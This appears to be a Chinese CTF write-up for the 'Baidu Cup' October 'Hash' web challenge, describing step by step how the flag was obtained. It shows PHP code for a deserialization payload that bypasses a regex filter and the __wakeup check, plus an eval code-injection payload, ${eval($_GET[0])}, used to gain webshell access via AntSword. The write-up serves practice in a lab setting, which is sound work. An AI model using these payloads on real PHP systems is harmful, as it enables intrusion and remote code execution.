CTF日记之 “百度杯”CTF比赛 十月场 Hash

CTF日记:“百度杯”CTF比赛 十月场 Hash


CTF日记之 “百度杯”CTF比赛 十月场 Hash_第1张图片
点进去之后发现“haha”,而且haha还可以点击,先不要急着点击haha,先查看源代码,发现了参数?key=123&hash=f9109d5f83921a551cf859f853afe7bb;这个东西可能会有用吧,再点击haha,发现:
在这里插入图片描述此时我们的url正是我们刚刚查看的参数,再次查看源代码,发现:
CTF日记之 “百度杯”CTF比赛 十月场 Hash_第2张图片源代码中告诉我们:hash这个参数是把sign参数和key参数拼接起来进行md5加密得到的,其中的key=123我们是知道的,现在就要通过爆破求解sign,说句实话,我看到网上的那些解题思路并没有说sign是怎么求解出来的,直接给出了sign=kkkkkk01,还说是hash解密的出来的。。。爆破8位数的hash难度还是不小的,而且题目也没有明确8位数的范围,所以就是数字+字母+标点符号,一起爆破,难度可想而知。
继续往下走吧,破出sign之后,根据提示说,key如果不是123,就会获得flag,那我们试一下,key=124,将hash用md5算出来,构造url。

http://e16dfc5ccf744c9cac52d49bc37c97d6d898d63656674142.changame.ichunqiu.com/index.php?key=124&hash=77dab7fc0322d9b23ccd6f2e95a065ba

在这里插入图片描述
又给了我们新的提示:
在这里插入图片描述
访问Gu3ss_m3_h2h2.php

 
class Demo {
    private $file = 'Gu3ss_m3_h2h2.php';

    public function __construct($file) {
        $this->file = $file;
    }

    function __destruct() {
        echo @highlight_file($this->file, true);
    }

    function __wakeup() {
        if ($this->file != 'Gu3ss_m3_h2h2.php') {
            //the secret is in the f15g_1s_here.php
            $this->file = 'Gu3ss_m3_h2h2.php';
        }
    }
}

if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('stop hacking!');
    } else {

        @unserialize($var);
    }
} else {
    highlight_file("Gu3ss_m3_h2h2.php");
}
?> 

看到wakeup()函数,想到了这是序列化的漏洞,wakeup()一旦执行就会调用反序列化函数,为了绕过wakeup()我们将数据的属性值大于真实值即可。
还有对/[oc]:\d+:/i,这个正则表达式的绕过,我们只需要将:5:变成这种形式:+5:即可绕过正则表达式的匹配。
最终的秘密在f15g_1s_here.php里面,先将f15g_1s_here.php作为参数传入Demo9函数,将整个函数实例化赋值给变量a,再序列化变量a,绕过正则,绕过wakeup函数,最后再进行base64编码。
所以,解题代码如下:


$a = new Demo('f15g_1s_here.php');
$s = serialize($a);
$s = str_replace('O:4', 'O:+4',$s);//绕过正则
$s = str_replace(':1:', ':2:' ,$s);//绕过wakeup函数
echo base64_encode($s);//最后base64编码

运行的结果:

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==

在这里插入图片描述
又得到了这些源代码:

 
if (isset($_GET['val'])) {
    $val = $_GET['val'];
    eval('$value="' . addslashes($val) . '";');
} else {
    die('hahaha!');
}

?> 

代码中要求我们以get的方式传递一个val参数,对这个参数进行添加反斜杠的过滤方式。addslashes()函数会对单引号,双引号,反斜杠,以及%0,添加反斜杠。我们可以通过这个payload来绕过:

${eval($_GET[0])};

CTF日记之 “百度杯”CTF比赛 十月场 Hash_第3张图片
通过中国蚁剑连接:
CTF日记之 “百度杯”CTF比赛 十月场 Hash_第4张图片
flag{c942392d-f15b-4cc8-93f9-c8b8d5ce02f1}

你可能感兴趣的:(php,ctf,php,正则表达式,hash)